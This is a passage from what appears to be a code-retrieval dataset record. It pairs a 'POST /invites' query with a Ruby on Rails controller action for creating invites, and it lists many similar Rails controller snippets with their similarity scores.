end", "def new\n @invitation = Invitation.new\n end", "def new\n @invitation = Invitation.new\n end", "def new\n\t\tif !@currentuser.administrator\n\t\t\tredirect_to :action => \"index\"\n\t\t\treturn\n\t\tend\n\t\t@voip_account = VoipAccount.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @voip_account }\n\t\tend\n\tend", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def new\r\n @profile_invite = Profile::Invite.new\r\n end", "def create\n @invitee = Invitee.new(params[:invitee])\n\t\t@invitee.user_account = current_user.user_account\n respond_to do |format|\n if @invitee.save\n format.html { redirect_to invitees_url, notice: 'Invitee was successfully created.' }\n format.json { render json: @invitee, status: :created, location: @invitee }\n\t\t\t\tformat.js\n else\n @age = Age.all\n @gender = Gender.all\n @status = Status.all\n @couple = Couple.all\n\t\t\t\t@hosts = InviteeHost.all\n @inviteegroup = InviteeGroup.where(:user_account_id => current_user.user_account.id)\n \n format.html { render action: \"new\" }\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\n end\n end\n end", "def new\n @inventoryitem = Inventoryitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inventoryitem }\n end\n end", "def new\n @sitio_entrega = SitioEntrega.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sitio_entrega }\n end\n end", "def new\n @partner = Partner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partner }\n end\n end", "def new\n @email = Email.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email }\n end\n end", "def new\n @email = Email.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email }\n end\n end", "def new\n @email = Email.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email }\n end\n end", "def new\n @email = Email.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email }\n end\n end", "def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end", "def new\n @investment_type = InvestmentType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @investment_type }\n end\n end", "def new\n @incident_type = IncidentType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @incident_type }\n end\n end", "def invite\n @invite = Invite.new\n @invite.invited_id = params[:invited_id]\n @invite.dinner_id = params[:id]\n if @invite.valid?\n @invite.save\n render json: @invite\n else\n puts @invite.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @invite.errors.messages\n }\n end\n end", "def new\n @investigation = Investigation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @investigation }\n end\n end", "def new\n @exchange = Exchange.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exchange }\n end\n end", "def new\n @ip = Ip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ip }\n end\n end", "def new\n @entity = get_new()\n @verbindung = Verbindung.find(params[:verbindung_id])\n if !has_access_to_verbindung(@verbindung) then return end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def new\n flag_no_problem = current_user.problems.count + current_user.code_problems.count\n flag_no_collection = current_user.collections.count\n flag_no_balance = current_user.invite_balance\n\n if flag_no_problem == 0 \n error_message = (t 'invite.errors.no_problem')\n error_message_url = new_problem_url\n else\n if flag_no_collection == 0 \n error_message = t 'invite.errors.no_collection'\n error_message_url = new_collection_url\n else\n if flag_no_balance == 0\n error_message = t 'invite.errors.nil_balance'\n error_message_url = recharge_url\n end\n end\n end\n session[:new_invite_error] = error_message\n session[:new_invite_error_url] = error_message_url\n logger.warn session[:new_invite_error]\n\n if flag_no_balance == 0 || flag_no_collection == 0 || flag_no_problem == 0\n redirect_to invites_path\n return\n end\n\n @invite = Invite.new\n\n @invite.instruction = render_to_string 'invites/_instruction', :layout => false\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end", "def new\n @clientsOffers = ClientsOffers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clientsOffers }\n end\n end", "def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @po }\n end\n end", "def new\n @invoice_template = InvoiceTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_template }\n end\n end", "def new\n @ins_company = InsCompany.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ins_company }\n end\n end", "def new\n @email_listing = EmailListing.new\n @countries = []\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_listing }\n end\n end", "def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end", "def new\n @announce = Announce.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @announce }\n end\n end", "def new\n @membership = Membership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end", "def create\n @invitee = Invitee.new(invitee_params)\n\n respond_to do |format|\n if @invitee.save\n format.html { redirect_to @invitee, notice: 'Invitee was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invitee }\n else\n format.html { render action: 'new' }\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7493549", "0.7443391", "0.71866524", "0.70564896", "0.7012656", "0.6996705", "0.6996705", "0.69863653", "0.69833046", "0.6968096", "0.69313127", "0.6828738", "0.6754267", "0.6735638", "0.6729011", "0.67265517", "0.66909343", "0.6641987", "0.6636304", "0.6627488", "0.6620253", "0.65854686", "0.6570762", "0.6554248", "0.6553712", "0.65534675", "0.6521568", "0.6510108", "0.64956", "0.6486967", "0.6486967", "0.64736605", "0.6463717", "0.64551526", "0.64519274", "0.6448437", "0.6436675", "0.64199114", "0.6413402", "0.64105386", "0.64095825", "0.6397881", "0.63845056", "0.63835394", "0.6379356", "0.6362088", "0.6359003", "0.63530284", "0.6332225", "0.63279027", "0.6307799", "0.63029146", "0.6297358", "0.6296836", "0.62907255", "0.628868", "0.6287447", "0.6287447", "0.62845767", "0.62808836", "0.6276716", "0.6276532", "0.6270935", "0.62495315", "0.6247249", "0.6247249", "0.6241623", "0.62402844", "0.62402844", "0.62402844", "0.6233905", "0.623281", "0.6221898", "0.6220052", "0.6218845", "0.6215801", "0.6215801", "0.6215801", "0.6215801", "0.62155956", "0.6208994", "0.61982113", "0.6195473", "0.61940324", "0.61935323", "0.61876255", "0.6181305", "0.6174911", "0.6172485", "0.61695737", "0.61674994", "0.61604965", "0.61601645", "0.61549777", "0.6154056", "0.6153478", "0.61526364", "0.6147453" ]
0.77566123
1
POST /invites POST /invites.json
def create @user = User.find_by_uid(params[:uid]) if (@user.nil?) @user = User.new @user['uid'] = params[:uid] @user['provider'] = 'facebook' @user['name'] = params[:name] @user.save end if (Invite.find_by_plan_id_and_user_id(params[:plan_id], @user.id).nil?) @invite = Invite.new(params[:invite]) @invite.plan = Plan.find(params[:plan_id]) @invite.user = @user @invite.save end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_should_create_invite_via_API_JSON\r\n get \"/logout\"\r\n post \"/invites.json\", :api_key => 'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response :created\r\n invite = JSON.parse(response.body)\r\n check_new_invite(invite) \r\n end", "def invite\n @invite = Invite.new\n @invite.invited_id = params[:invited_id]\n @invite.dinner_id = params[:id]\n if @invite.valid?\n @invite.save\n render json: @invite\n else\n puts @invite.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @invite.errors.messages\n }\n end\n end", "def index\n @invites = current_user.invites\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n session[:new_invite_error] = nil\n session[:new_invite_error_url] = nil\n end", "def create\n @invite = @event.invites.new(invite_params)\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to [@event, @invite], notice: 'Invite was successfully created.' }\n format.json { render action: 'show', status: :created, location: [@event, @invite] }\n else\n format.html { render action: 'new' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @invited = Invited.new(invited_params)\n\n respond_to do |format|\n if @invited.save\n format.html { redirect_to @invited, notice: 'Invited was successfully created.' }\n format.json { render :show, status: :created, location: @invited }\n else\n format.html { render :new }\n format.json { render json: @invited.errors, status: :unprocessable_entity }\n end\n end\n end", "def sent_invitations\n user = User.find(params[:user_id])\n @invitations = Invitation.created_by_user(user)\n\n render json: @invitations\n end", "def invites\n raise 'Tried to request invites from a non-server channel' unless server\n\n invites = JSON.parse(API::Channel.invites(@bot.token, @id))\n invites.map { |invite_data| Invite.new(invite_data, @bot) }\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def create\n @invite = Invite.new(params[:invite])\n @user = current_user\n @user.invites << @invite\n @candidate = current_user.candidate\n @invites = Invite.scoped\n respond_to do |format|\n if @user.save\n InviteMailer.invite_friend(@invite, @user).deliver\n format.html { redirect_to new_invite_path, notice: \"Invitation was successfully sent to #{@invite.name} &lt;#{@invite.email}&gt;\" }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_should_create_invite_via_API_XML\r\n get \"/logout\"\r\n post \"/invites.xml\", :api_key=>'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response :created\r\n end", "def create\n @invite = Invite.new(params[:invite])\n @invite.user_id = current_user.id\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render json: @invite, status: :created, location: @invite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def dogwalker_invited\n #@invitations = Invitation.invited_clients_email(params[:email]).select(:email)\n @invitations = Invitation.invitees(params[:email]).select(:email)\n logger.debug(\"@invitations.to_json = \" + @invitations.to_json)\n render json: {:invitations => @invitations }, :layout => false\n end", "def index_invites\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.invited_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def invite\n invitation_service.invite(invitation_params)\n end", "def create\n @users = User.all\n\n @event = current_user.events.build(event_params.except(:invites))\n\n respond_to do |format|\n if @event.save\n\n event_params.slice(:invites).values.each do |x|\n x.each do |y|\n if y.empty?\n else\n user = @users.find(y.to_i)\n @event.attendees << user\n end\n end\n end\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params[:invite]\n @invite = Invite.new(invite_params)\n elsif params[:user_id]\n @invite = Invite.new(:user_id => params[:user_id], :request_id => params[:request_id], :to_id => params[:to_id] )\n end\n @invite.state = 'sent' if @invite.state.blank?\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render json: @invite, status: :created, location: @invite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @invite = Invite.new(invite_params)\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n else\n format.html { render :new }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def received_invitations\n user = User.find(params[:user_id])\n @invitations = user.invitations\n\n render json: @invitations\n end", "def create\n @invite = Invite.new(invite_params)\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invite }\n else\n format.html { render action: 'new' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def invite\n service_response = AdminManagement::AdminUser::Invite::Send.new(params).perform\n render_api_response(service_response)\n end", "def user_invite(body)\n raise ArgumentError unless body.is_a?(Array)\n raise ArgumentError unless body.first.is_a?(Hash)\n\n api.post('user/invite', body, 'application/json')\n end", "def create\n @invite = Invite.new(invite_params)\n\n if (self.admin? || (self.check_user && self.check_no_guild && self.check_own_invite)) && @invite.save\n render json: @invite, status: :created\n else\n render json: @invite.errors, status: :unprocessable_entity\n end\n end", "def test_should_not_create_invite_via_API_XML\r\n get \"/logout\"\r\n post \"/invites.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def create\n @event = current_user.created_events.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n\n @event.invitees_email.split(',').each do | user_email |\n user = User.find_by(email: user_email)\n @event.invitees << user\n end\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @inviteds = Invited.all\n end", "def create\n\t\t@guild_invite = GuildInvitMember.new(guild_invite_params)\n\t\t@guild_invite.guild = @guild\n\t\t@guild_invite.by = current_user\n\t\t@guild_invite.state = \"waiting\"\n\n\t\trespond_to do |format|\n\t\t\tif @guild_invite.save\n\t\t\t\tback_page = guild_invites_url\n\t\t\t\tback_page = URI(request.referer).path if params[:back]\n\t\t\t\tformat.html { redirect_to back_page, notice: 'Invite was successfully created.' }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @guild_invite.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def accept\n @invite = Invite.find_by(dinner_id: params[:id], invited_id: @current_user.json_hash[:id])\n if @invite\n @acceptance = AttendeeDinner.new\n @acceptance.dinner_id = @invite.dinner_id\n @acceptance.attendee_id = @invite.invited_id\n if @acceptance.valid?\n @acceptance.save\n @invite.delete\n render json: @acceptance\n else\n puts @acceptance.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @acceptance.errors.messages\n }\n end\n end\n end", "def create\n #assign unpermitted parameter 'entries' to a variable\n entries = params[\"entries\"]\n @invoice = @user.invoices.build(invoice_params)\n #save entries\n @invoice.entries = entries\n if @invoice.save\n render json: @invoice, status: :created, location: api_v1_user_invoice_url(@user, @invoice)\n else\n render json: @invoice.errors, status: :unprocessable_entity\n end\n end", "def create\n @invite = Invite.new(invite_params)\n @invite.sender_id = current_user.id # set the sender to the current user\n # @invite.invited_at = Time.now.utc\n\n respond_to do |format|\n if @invite.save\n # if the user already exists\n if @invite.recipient != nil\n InvitationMailer.existing_user_invite(@invite).deliver\n @invite.recipient.projects.push(@invite.project)\n flash.now[:notice] = \"User convidado\"\n else\n InvitationMailer.deliver_invitation(@invite, invite_sign_up_url(:invite_token => @invite.token)).deliver\n\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n end\n else\n format.html { redirect_to \"/\", notice: \"Não enviou convite\" }\n # format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @invite = Invite.new(params[:invite])\n\n respond_to do |format|\n if @invite.save\n flash[:notice] = 'Invite was successfully created.'\n format.html { redirect_to(@invite) }\n format.xml { render :xml => @invite, :status => :created, :location => @invite }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @invite.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_and_invitation_studant(params = {})\n run(:post, \"/invitations\", [201,422], JSON.dump(params))\n end", "def invite\n \n end", "def create\n successes = []\n (params[:invitations].split(',') || []).each do |name|\n name.strip!\n invitation = @game.invitations.build(:twitter_login => name, :invited_by => current_user)\n successes << name if invitation.save\n # TODO: send actual invitations as DMs from the user??\n # TODO: verify that the listed people are actually followers of the user?\n end\n flash[:notice] = \"Invitations have been sent to the #{successes.length} people you selected\"\n redirect_to(game_path(@game))\n end", "def create\n @inv = Inv.new(inv_params)\n\n respond_to do |format|\n if @inv.save\n format.html { redirect_to @inv, notice: 'Inv was successfully created.' }\n format.json { render :show, status: :created, location: @inv }\n else\n format.html { render :new }\n format.json { render json: @inv.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n user = params[:user]\n \n #abort(\"user #{user}\")\n\n from_id = user[:fb_id]\n\n existing_fb_user = User.find_by_fb_id(from_id)\n\n if existing_fb_user\n \n user_invitations = user[:invitations]\n \n @invitations_array = []\n\n user_invitations.each do |inv|\n\n inv[:fb_id] = from_id\n inv[:is_accept] = false\n inv[:isPoints] = false\n\n\n @invitation = Invitation.new(inv)\n\n @invitations_array.push(inv) \n\n render :json => { :errors => @invitation.errors.full_messages } unless @invitation.save\n\n end\n\n Invitation.new.getInvitations(@invitations_array)\n\n else\n render :json => { :message => \"No user found\" }\n end\n \n end", "def invites\n user = current_user\n\n # Query to get only not yet accepted trips associated wiht the current user\n @trips = Trip.joins(:user_trips).where(user_trips: { accepted: false }).where(user_trips: { user_id: user.id })\n render json: @trips\n end", "def create\n @invite = NewInvite.new(invite_params, current_user)\n @invite.call\n respond_with @invite, location: wallet_path(id: invite_params[:wallet_id])\n end", "def create\n @attr = params[:idea]\n puts \"----- idea.create #{current_user.inspect}\"\n @attr[:organizer] = current_user \n \n guest_emails = params[:email]\n if (guest_emails.nil?)\n arr_emails = []\n else\n arr_emails = guest_emails.split(\",\")\n end\n \n @idea = current_user.ideas.build(@attr)\n @idea.users << current_user\n \n arr_emails.each do |email|\n puts \"building invite #{email}\"\n invitee = Invite.new\n invitee.email = email\n puts \"Phone #{email}\"\n @idea.invites << invitee\n end\n \n host = request.host\n \n if (host =~ /localhost/i)\n host = request.host_with_port\n end\n \n respond_to do |format|\n if @idea.save\n @idea.invites.each do |invite|\n twilio(invite.email, @idea.id, host)\n end\n \n format.html { redirect_to(root_path, :notice => 'Idea was successfully created.') }\n format.xml { render :xml => @idea, :status => :created, :location => @idea }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @idea.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @invite_list = InviteList.new(params[:invite_list])\n\n respond_to do |format|\n if @invite_list.save\n format.html { redirect_to @invite_list, notice: 'Invite list was successfully created.' }\n format.json { render json: @invite_list, status: :created, location: @invite_list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def group_invites\n @invites = GroupsController.group_invites current_user\n end", "def create\n\t\tif !params[:add_invites].blank?\n\t\t\tUser.add_to_invitation_limit(params[:add_invites].to_i)\n flash[:notice] = \"Invitation limit updated.\"\n redirect_to admin_users_path\n else\n\t\t\tflash[:error] = \"There was a problem updating the invitation limit.\"\n redirect_to admin_invites_path\n\t\tend\n\tend", "def create\n @invite_request = InviteRequest.new(invite_request_params)\n\n respond_to do |format|\n if @invite_request.save\n format.html { redirect_to @invite_request, notice: 'Invite request was successfully created.' }\n format.json { render :show, status: :created, location: @invite_request }\n else\n format.html { render :new }\n format.json { render json: @invite_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def invite\n\t@micropost.add_to_invited(@invitee)\n\t\n\trespond_to do |format|\n\t\tformat.html { }\n\t\tformat.mobile { render json: {status: \"success\"} }\n\t\tformat.js { }\n\tend\n end", "def post_user_invitation(email: nil, first_name: nil, last_name: nil, roles: [], provisioning_allowed: nil, all_apps_visible: nil)\n body = {\n data: {\n type: \"userInvitations\",\n attributes: {\n email: email,\n firstName: first_name,\n lastName: last_name,\n roles: roles,\n provisioningAllowed: provisioning_allowed,\n allAppsVisible: all_apps_visible\n }\n }\n }\n users_request_client.post(\"userInvitations\", body)\n end", "def invited_users\n render json: @moot.list_users_can_vote\n end", "def mass_create\n requests = []\n group_invite_params[:mass_requests].each do |element|\n requests << @current_user.requests_as_sender.new(:group_id => element[:group_id], :receiver_id => element[:receiver_id], :status => \"pending\")\n end\n\n @invites = Request.import requests\n\n if @invites\n render json: requests, status: :created\n else\n render json: requests.errors, status: :unprocessable_entity\n end\n end", "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def invite\n invite = params[:invite]\n profile.update_attribute(:email, invite[:email])\n invite = Notifier.send_invite(profile, invite[:message])\n invite.deliver\n flash[:notice] = \"An invititation to join YentaFriend was sent to #{profile.name}. Check your dashboard for an update when they join!\"\n end", "def without_users_create\n response = params[:values].reduce({}) do |response, value|\n response[value[:id]] = UserInviter.new(\n self, User, current_user, Devise\n ).invite(value[:email], params[:resend_invitation])\n response\n end\n respond_to do |format|\n format.json { render :json => response.to_json }\n end\n end", "def create\n @invitee = Invitee.new(params[:invitee])\n\t\t@invitee.user_account = current_user.user_account\n respond_to do |format|\n if @invitee.save\n format.html { redirect_to invitees_url, notice: 'Invitee was successfully created.' }\n format.json { render json: @invitee, status: :created, location: @invitee }\n\t\t\t\tformat.js\n else\n @age = Age.all\n @gender = Gender.all\n @status = Status.all\n @couple = Couple.all\n\t\t\t\t@hosts = InviteeHost.all\n @inviteegroup = InviteeGroup.where(:user_account_id => current_user.user_account.id)\n \n format.html { render action: \"new\" }\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\n end\n end\n end", "def invite\n if not user_signed_in?\n redirect_to new_user_session_path\n else\n User.find(params[:user_id]).invites << current_user\n redirect_to friends_path\n end\n end", "def invite\r\n if request.post?\r\n @pi = PrivateInvite.new(params[:pi]) \r\n if @pi.email == User.find(session[:user_id]).email\r\n flash[:notice] = \"you are already listed\"\r\n redirect_to :back\r\n return \r\n end \r\n PrivateInvite.find_all_by_private_event_id(@pi.private_event_id).each do |p|\r\n if p.email == @pi.email\r\n flash[:notice] = \"#{@p.email}is already on the guest list\"\r\n redirect_to :back\r\n return \r\n end\r\n end\r\n \r\n @pi.invited_at = Date.today \r\n invite = Invitation.new\r\n invite.title = PrivateEvent.find(@pi.private_event_id).title\r\n invite.host_email = User.find(session[:user_id]).email\r\n invite.guest_email = @pi.email \r\n email = InvitationMailer.create_invite(invite)\r\n email.set_content_type(\"text/html\")\r\n @guest_list = PrivateInvite.find(:all)\r\n if @pi.save\r\n begin\r\n InvitationMailer.deliver(email) \r\n rescue\r\n @pi.destroy\r\n flash[:notice] = \"address not found\"\r\n end \r\n end \r\n end\r\n redirect_to :back\r\n end", "def create\n @team_invite = TeamInvite.new(team_invite_params)\n respond_to do |format|\n if @team_invite.save\n format.html { redirect_to team_team_invites_url, notice: 'TeamInvite was successfully created.' }\n format.json { render :show, status: :created, location: team_team_invites_url }\n else\n format.html { render :new }\n format.json { render json: @team_invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @invites = Invite.all\n end", "def invitations\n @invitations = Invitation.pending_by_user(current_user.id)\n\n respond_to do |format|\n format.html\n end\n end", "def create\n #create the guest\n @guest = Guest.new(guest_params)\n\n #save the guest and create the invitation\n if @guest.save\n @inv = Invitation.new()\n @inv.guest_id = @guest.id\n @inv.event_id = Event.find_by(id:request.headers['EventId'].to_s).id\n @inv.user_id = User.find_by(auth_token:request.headers['AuthorizationToken'].to_s).id\n else\n render json: @guest.errors, status: :unprocessable_entity\n end\n\n #save the invitation and return the guest\n if @inv.save\n render json: @guest, status: :created, location: @guest\n else\n render json: @inv.errors, status: :unprocessable_entity\n end\n end", "def create\n @list_invite = ListInvite.new(list_invite_params.merge(user_id: current_user.id))\n\n respond_to do |format|\n if @list_invite.save\n format.html { redirect_to lists_path, notice: 'List invite was successfully created.' }\n format.json { render action: 'show', status: :created, location: @list_invite }\n else\n format.html { render action: 'new' }\n format.json { render json: @list_invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @invitee = Invitee.new(invitee_params)\n\n respond_to do |format|\n if @invitee.save\n format.html { redirect_to @invitee, notice: 'Invitee was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invitee }\n else\n format.html { render action: 'new' }\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n end\n end\n end", "def accept!()\n self.status = Invite::Status::ACCEPTED\n invitable.add_member invitee\n save!\n end", "def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end", "def index\n if params[:story_id].present?\n @invitations = Story.find(params[:story_id]).invitations\n else\n @invitations = Invitation.find_by_email(@current_user.email)\n end\n render json: @invitations\n end", "def event_params\n params.require(:event).permit(:time, :location, :title, :description, :creator_id, invites: [])\n end", "def index\n @list_invites = ListInvite.all\n end", "def new_invites\n self.invites.all(:hide => false)\n end", "def create\n @invite = current_dwelling.invites.new(params[:invite])\n if @invite.save\n # Mail a link to join the dwelling to the invitee.\n InviteMailer.invite(@invite, invites_url(@invite.token)).deliver\n end\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to dwelling_path(@invite.dwelling_id),\n notice: 'Invite was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def update\n @users = User.all\n respond_to do |format|\n if @event.update(event_params.except(:invites))\n\n event_params.slice(:invites).values.each do |x|\n x.each do |y|\n if y.empty?\n else\n user = @users.find(y.to_i)\n @event.attendees << user\n end\n end\n end\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def invites(auth, server_id)\n MijDiscord::Core::API.request(\n :guilds_sid_invites,\n server_id,\n :get,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/invites\",\n Authorization: auth\n )\n end", "def create\n @invite_status = InviteStatus.new(params[:invite_status])\n\n respond_to do |format|\n if @invite_status.save\n format.html { redirect_to @invite_status, notice: 'Invite status was successfully created.' }\n format.json { render json: @invite_status, status: :created, location: @invite_status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def accepted_invites\n since = Time.zone.now - params[:days].to_i.days\n count = GroupInvitation.accepted\n .where('created_at > ?', since)\n .count\n respond_with json_response('accepted_invites', count)\n end", "def index\n @invitees = Invitee.all\n end", "def index\n @invitees = Invitee.all\n end", "def invite(email, role, label_or_expression, value)\n muf = prepare label_or_expression, value\n\n invitation = {\n \"invitations\" => [ {\n \"invitation\" => {\n \"content\" => {\n \"email\" => email,\n \"userFilters\" => [ muf[:url] ],\n \"role\" => role\n }\n }\n } ]\n }\n pp invitation\n GoodData.post \"/gdc/projects/#{@project_id}/invitations\", invitation\n end", "def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end", "def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end", "def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end", "def invite(firm_name, firstname, lastname, email, phone)\n invite_params = vendor_params(firm_name, firstname, lastname, email, phone)\n @client.post(\"/#{@model}\", {}, invite_params)\n end", "def create\n @invitation_request = InvitationRequest.new(invitation_request_params)\n\n respond_to do |format|\n if @invitation_request.save\n format.html { redirect_to root_path, notice: 'Invitation received. We will notify you soon!' }\n format.json { render :show, status: :created, location: @invitation_request }\n else\n @interests = Interest.all\n format.html { render :new }\n format.json { render json: @invitation_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @invitations = Invitation.all\n\n render json: @invitations, except: [:created_at, :updated_at], \n include: [:event => {include: [:host => {except: [:password_digest, :created_at, :updated_at]}]}]\n end", "def new\n @invite_list = InviteList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite_list }\n end\n end", "def invitations\n\t\t@invits = current_user.receive_invites.order(\"id DESC\")\n\tend", "def new_invite\n if idea_posting.users.exists?(current_user.id)\n @joinrequest = Joinrequest.new\n respond_to do |format|\n format.html \n format.json {redirect_to @joinrequest}\n end\n end\n end", "def invite_params\n params.require(:invite).permit(:email, :sender_id, :recipient_id, :token)\n end", "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n\n invited_users = InvitedUser.where(email: @user.email)\n invited_users.each do |invited_user|\n Message.create(sender_id: 1, receiver_id: invited_user.inviter.id, title: \"Your friend has just joined\", content: \"I have just joined to TennisBuddy World! Thank you for inviting me. #{@user.full_name}\")\n end\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n 